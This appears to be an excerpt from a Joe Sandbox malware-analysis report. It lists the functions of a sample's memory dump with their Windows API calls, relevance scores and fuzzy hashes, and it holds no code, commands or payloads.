Opcode ID: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
Instruction ID: 0dd010f7df6ff614cfef43c4a12cffe19af86bcfc46511bc934f3e9eb9a87455
Opcode Fuzzy Hash: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
Instruction Fuzzy Hash: 9241637290874686E7648F18E4243B97B90EB46F64F144235DB6D8BACECF7ED8458B40

Function 00007FF6B5B26460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B26D64: LoadLibraryA.KERNEL32(?,?,?,00007FF6B5B26490), ref: 00007FF6B5B26D7B
Part of subcall function 00007FF6B5B26D64: GetProcAddress.KERNEL32(?,?,?,00007FF6B5B26490), ref: 00007FF6B5B26D93

FreeLibrary.KERNEL32 ref: 00007FF6B5B264BA
LoadLibraryExW.KERNELBASE ref: 00007FF6B5B264E4

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
Instruction ID: 64f01d5a1f0807b5e46b40bef9eaa61281cf708a64ceb942aa9b53313ad0735d
Opcode Fuzzy Hash: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
Instruction Fuzzy Hash: 3C415D22B14A5686EB10DF29D8613FC27A0EB46F88F444135EB4D8769EDF3DD845C710

Function 00007FF6B5B26258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF6B5B26350

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
Instruction ID: b6486cf2e28a02356f8439203d962275f618245e85f2d161dccdf095dd8f7a58
Opcode Fuzzy Hash: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
Instruction Fuzzy Hash: FF415732A09B4586EB518F19E4543A827A8FB4AF88F440139EB4C9738ACF7DE951C710

Function 00007FF6B5B23730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00007FF6B5B23756

Part of subcall function 00007FF6B5B49334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B49348

Part of subcall function 00007FF6B5B236E8: SystemParametersInfoW.USER32 ref: 00007FF6B5B23705
Part of subcall function 00007FF6B5B236E8: SystemParametersInfoW.USER32 ref: 00007FF6B5B23725

Part of subcall function 00007FF6B5B237B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B237F2
Part of subcall function 00007FF6B5B237B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B23807
Part of subcall function 00007FF6B5B237B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B2388D
Part of subcall function 00007FF6B5B237B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B23924

SystemParametersInfoW.USER32 ref: 00007FF6B5B23797

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
String ID:
API String ID: 4207566314-0
Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction ID: a9d0f37688d571556a8a7a84fb4b2faac1a7b286388df8aaa58683a159d6efe0
Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction Fuzzy Hash: B501FB72E0C2528BF751EB69A86A5F5A662AF06F00F441039D64DD62AFCF2DBC848710

Function 00007FF6B5B5B3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6B5B5B3D6
GetLastError.KERNEL32 ref: 00007FF6B5B5B3E8

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction ID: 7cc7c2184f3f717857ddbc255c876151126407513c985bac3a8d819479d76134
Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction Fuzzy Hash: 0FE04F51E5914382FE086BBAB8346F816916F46F41F444034CB0DC62DBDE2C9C854600

Function 00007FF6B5B604B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF6B5B6051B
GetLastError.KERNEL32 ref: 00007FF6B5B60525

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction ID: 8c5d55b64bcfa465f0c9935ee311b694f11ae4c4f013a6fadff6cf2b28af7720
Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction Fuzzy Hash: DA11D611B0C38641FEA6572DA5F43FC52925F96F64F080275DB2EC62DBCD6CAC848201

Function 00007FF6B5B31475 Relevance: 2.0, APIs: 1, Instructions: 533COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF6B5B31990

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: e869654350b1d585ac28b73911299a849cdf7de5e5dd263a2f3101a0d6b2730c
Instruction ID: e65b090bd6794f10d7e0404a75a8f05b9bbc9b1da8864a2b2db5725a8c1901b7
Opcode Fuzzy Hash: e869654350b1d585ac28b73911299a849cdf7de5e5dd263a2f3101a0d6b2730c
Instruction Fuzzy Hash: EE329D66A0868286EB70CF1AD4A42F96765FB86F84F144136DB4E9779BDF3CEC418700

Function 00007FF6B5B820D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF6B5B820E2

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
Instruction ID: 02d7196026301928f31825c4bd6f9fdbcfa4f49110b08c1d4c98f8e8a0f8fab6
Opcode Fuzzy Hash: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
Instruction Fuzzy Hash: 30414B22B08A4286EB21AF69D0613EC23A0FB45F88F544535CF0DA779ADF78E856C351

Function 00007FF6B5B48FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6B5B48FD4

Part of subcall function 00007FF6B5B49164: GetModuleHandleExW.KERNEL32 ref: 00007FF6B5B49184
Part of subcall function 00007FF6B5B49164: GetProcAddress.KERNEL32 ref: 00007FF6B5B4919A
Part of subcall function 00007FF6B5B49164: FreeLibrary.KERNEL32 ref: 00007FF6B5B491BF

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction ID: 192ec1ba73c4d9443c30e1dc4142c0a6cda467a1c47464fab33e667991270e3f
Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction Fuzzy Hash: 3C416161A0865282FE649B1DE4B51F82361AF56F40F14443AEB0E877DBDF3EEC818B40

Function 00007FF6B5B548E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B54835

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction ID: 1e4de366a1868de0da29c7512b7c91d635b7a8d38b3c733d1fc4b94a242e1932
Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction Fuzzy Hash: 52215161A1C68281FA69AF19F4312BE9260BF46F84F144030EB4DDBA8FDE7CDD418740

Function 00007FF6B5B66D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B66D34

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction ID: 450219615e18032b5642261c7a7ab2cf52e0880d6573b6af1f783b3780ece6ce
Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction Fuzzy Hash: B621B53261878247E7658F28E4613A9B6A1FB86F90F144238DB5DCA6DADF2CDC018700

Function 00007FF6B5B5E258 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B5E28C

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction ID: beaa6c8c999c313c70dafa24c9b454a24b6d185caae0a4a024a23def030d3f88
Opcode Fuzzy Hash: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction Fuzzy Hash: 87114F7291C68282F6289B59F4715B963A5FB4AB80F940079E78DCB79FDF2DEC418700

Function 00007FF6B5BA5B80 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction ID: f54aebf4c7895e3e96d29c06c4ff0568feff2ad3826452e7c27fccb25e6ba84e
Opcode Fuzzy Hash: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction Fuzzy Hash: B2112826A19A4582EF449F1AD0A07B86360EB86FA1F545132DF1E873AACF3DD9908700

Function 00007FF6B5B60414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction ID: 9de58b1385aff36401e426bb94de092b0ac5e7f981ca57be860b7b2c02c0c106
Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction Fuzzy Hash: 2B11B27290878A86EA1A9F19E4603ECB761EB81B61F504136D74D4A2DBCF7CD801CB00

Function 00007FF6B5B548EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B54909

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction ID: 3bfb51dfa1c722516d0ae7cf456db0a00ab2906f73124d292247380ff5cdea35
Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction Fuzzy Hash: B4011E21A0964645FD2CBA6DF4333F951905F96F64F241630EB2ECA2DBCE2CEC424601

Function 00007FF6B5B54970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B54999

Part of subcall function 00007FF6B5B548EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B54909

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction ID: 0393fe3c13571a6027b2754c6408eb885249f10a0bd9a208e78a1d66a8149bdf
Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction Fuzzy Hash: 91F06D21A0C6434AF92C766DF4322FA22909F42B50F241130EB5AC66CFCE2CEC428601

Function 00007FF6B5B2652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B54970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B54999

FreeLibrary.KERNEL32(?,?,?,00007FF6B5B6C8FE), ref: 00007FF6B5B2656F

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FreeLibrary_invalid_parameter_noinfo
String ID:
API String ID: 3938577545-0
Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction ID: e34384495e3b56ca523976d4a3ee075cbfe59618f0f243b2b18999ca8ab91f68
Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction Fuzzy Hash: E2F05852A19A0986FF19DF79D0B637C27A0BB69F08F140538CB0E8A28ECF6DD8558351

Function 00007FF6B5B44C68 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6B5B44C5C

Part of subcall function 00007FF6B5B45600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6B5B45609
Part of subcall function 00007FF6B5B45600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6B5B4561A

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 1680350287-0
Opcode ID: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
Instruction ID: 8c7e5eb30dd3bac308b0898adb1560294f886deb449ce51291fce626be67445b
Opcode Fuzzy Hash: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
Instruction Fuzzy Hash: 49E0B650E1D20B46FA7CB56E15765F801400F5BF70E5C1B30EB3DC52CBAD2CAC654510

Function 00007FF6B5B9B334 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00007FF6B5B9B365

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
Instruction ID: a0ae14a6fe50877176140812e080706aa4fbe64ddba22d8bd59ee428b3f34a19
Opcode Fuzzy Hash: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
